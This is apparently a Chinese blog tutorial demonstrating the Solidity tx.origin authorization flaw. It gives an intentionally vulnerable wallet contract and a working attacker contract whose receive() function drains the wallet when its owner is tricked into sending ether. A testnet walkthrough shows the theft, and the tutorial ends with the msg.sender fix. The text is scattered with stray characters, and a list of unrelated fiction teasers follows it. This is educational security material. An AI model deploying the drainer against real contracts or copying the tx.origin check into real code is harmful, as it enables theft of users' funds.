智能合約安全-權(quán)限校驗(yàn)tx.origin漏洞攻擊

背景:由于公鏈環(huán)境下所有的信息都是共享的哨免,智能合約相當(dāng)于是透明的病附,任何人只需知道其地址就可以調(diào)用內(nèi)部的方法脐瑰,所以開發(fā)者在開發(fā)合約時(shí),邏輯判斷一般會(huì)添加一下權(quán)限的校驗(yàn),以提高其安全性。但是有時(shí)候?qū)ζ淞私獠簧钅唬瑫?huì)帶來一些潛在的隱藏bug。
目標(biāo):驗(yàn)證當(dāng)合約內(nèi)部使用 tx.origin 做權(quán)限校驗(yàn)時(shí)骤铃,攻擊者可以繞過邏輯約束進(jìn)行資金盜取拉岁。
對(duì)象:適用于用Solidity語言開發(fā)的智能合約,例如BSN中的武漢鏈(基于ETH)和泰安鏈(基于 fisco bcos)上運(yùn)行的智能合約劲厌。

一膛薛、環(huán)境準(zhǔn)備

  • 兩個(gè)合約文件,一個(gè)為用戶錢包合約(TxUserWallet )补鼻,另一個(gè)為攻擊錢包合約(TxAttackWallet )哄啄。
  • 兩個(gè)賬戶,分別為以上兩個(gè)合約的owner风范。預(yù)制為
    TxUserWallet owner: 0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9
    TxAttackWallet owner: 0x5adaCf91A3C4e9a7541f0dA89dC575354C075941

合約文件TxUserWallet.sol如下圖所示:

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    event Deposit(uint256 balance);
    constructor() payable {
        owner = msg.sender;
    }

    function supplyFunds() payable public {
        emit Deposit(msg.value);
    }

    function transferTo(address payable dest, uint amount) public {
        // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
        require(tx.origin == owner);
        dest.transfer(amount);
    }

    function balanceOf() public view returns(uint){
        return address(this).balance;
    }

    function withdraw() public {
       payable(owner).transfer(address(this).balance);
    }
    
}

合約文件TxAttackWallet.sol如下圖所示:

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface TxUserWallet {
     function transferTo(address payable dest, uint amount) external;
}

contract TxAttackWallet {
    address payable owner;
    TxUserWallet userWallet;
    constructor(TxUserWallet userWalletAddr) {
        owner = payable(msg.sender);
        userWallet = userWalletAddr;
    }

    function balanceOf() public view returns(uint){
        return address(this).balance;
    }

    receive() external payable {
        userWallet.transferTo(owner, address(userWallet).balance);
    }
}

二咨跌、合約部署

使用remix分別部署兩個(gè)合約

  1. 部署合約TxUserWallet的過程截圖
TxUserWallet部署截圖.png

合約部署成功的截圖如下

0xeDEaBD37BbBf901750dD31B84d67D571Fc303d36.png

  1. 部署合約TxAttackWallet 的過程截圖

注意:部署的時(shí)候需要將“用戶錢包合約的地址”進(jìn)行預(yù)制,用于后續(xù)攻擊時(shí)使用硼婿。

TxAttackWallet部署截圖.png

合約部署成功的截圖如下

0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd.png

三锌半、攻擊測(cè)試

攻擊原理為誘騙合約TxUserWallet的owner對(duì)合約TxAttackWallet進(jìn)行轉(zhuǎn)賬操作。因?yàn)榧夹g(shù)上當(dāng)合約TxAttackWallet接受ether時(shí)會(huì)觸發(fā)receive()方法寇漫,從而進(jìn)行對(duì)TxUserWallet合約進(jìn)行盜取ether刊殉。

為方便做對(duì)比,我們?cè)谵D(zhuǎn)賬操作之前先截圖一下用戶錢包合約以及攻擊合約的owner的賬戶余額

TxUserWallet.png

TxAttackWallet_owner.png

現(xiàn)在使用TxUserWallet 的owner賬戶對(duì)合約TxAttackWallet進(jìn)行轉(zhuǎn)賬操作州胳。即
使用賬戶0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9向合約賬戶0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd轉(zhuǎn)賬0.001(金額任意)记焊。

轉(zhuǎn)賬截圖.png

轉(zhuǎn)賬交易記錄
https://ropsten.etherscan.io/tx/0x779ec2ef110f684fc20080f28ec840e2f11872bdd87775efef7228408ed5948d

轉(zhuǎn)賬操作成功后,我們來查看一下TxUserWallet擁有的0.00002 Ether是否被盜取了栓撞,截圖如下

TxUserWallet合約余額截圖.png

上圖可以看出余額已變?yōu)榱惚槟ぃ酉聛砜匆幌?code>TxAttackWallet的owner賬戶余額,截圖如下

0x5adaCf91A3C4e9a7541f0dA89dC575354C075941.png

上圖可以發(fā)現(xiàn)一筆0.00002 Ether轉(zhuǎn)賬記錄瓤湘,同時(shí)對(duì)比余額變動(dòng)瓢颅,至此已盜取成功。

四弛说、結(jié)論

綜上發(fā)現(xiàn)挽懦,當(dāng)我們使用tx.origin做校驗(yàn)時(shí),得到的是交易原始簽名地址而不是攻擊合約的地址剃浇,從而繞過了業(yè)務(wù)約束邏輯巾兆,將所有資金進(jìn)行了轉(zhuǎn)移操作猎物。

另外虎囚,那如何進(jìn)行修復(fù)呢角塑?只需要將tx.origin改為msg.sender去做校驗(yàn)即可。有興趣的可以試一下淘讥。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末圃伶,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子蒲列,更是在濱河造成了極大的恐慌窒朋,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,122評(píng)論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件蝗岖,死亡現(xiàn)場(chǎng)離奇詭異侥猩,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)抵赢,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門欺劳,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人铅鲤,你說我怎么就攤上這事划提。” “怎么了邢享?”我有些...
    開封第一講書人閱讀 164,491評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵鹏往,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我骇塘,道長(zhǎng)伊履,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,636評(píng)論 1 293
  • 正文 為了忘掉前任款违,我火速辦了婚禮唐瀑,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘奠货。我一直安慰自己介褥,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,676評(píng)論 6 392
  • 文/花漫 我一把揭開白布递惋。 她就那樣靜靜地躺著柔滔,像睡著了一般。 火紅的嫁衣襯著肌膚如雪萍虽。 梳的紋絲不亂的頭發(fā)上睛廊,一...
    開封第一講書人閱讀 51,541評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音杉编,去河邊找鬼超全。 笑死咆霜,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的嘶朱。 我是一名探鬼主播蛾坯,決...
    沈念sama閱讀 40,292評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼疏遏!你這毒婦竟也來了脉课?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,211評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤财异,失蹤者是張志新(化名)和其女友劉穎倘零,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體戳寸,經(jīng)...
    沈念sama閱讀 45,655評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡呈驶,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,846評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了疫鹊。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片袖瞻。...
    茶點(diǎn)故事閱讀 39,965評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖订晌,靈堂內(nèi)的尸體忽然破棺而出虏辫,到底是詐尸還是另有隱情,我是刑警寧澤锈拨,帶...
    沈念sama閱讀 35,684評(píng)論 5 347
  • 正文 年R本政府宣布砌庄,位于F島的核電站,受9級(jí)特大地震影響奕枢,放射性物質(zhì)發(fā)生泄漏娄昆。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,295評(píng)論 3 329
  • 文/蒙蒙 一缝彬、第九天 我趴在偏房一處隱蔽的房頂上張望萌焰。 院中可真熱鬧,春花似錦谷浅、人聲如沸扒俯。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽撼玄。三九已至,卻和暖如春墩邀,著一層夾襖步出監(jiān)牢的瞬間掌猛,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工眉睹, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留荔茬,地道東北人废膘。 一個(gè)月前我還...
    沈念sama閱讀 48,126評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像慕蔚,于是被迫代替她去往敵國(guó)和親丐黄。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,914評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容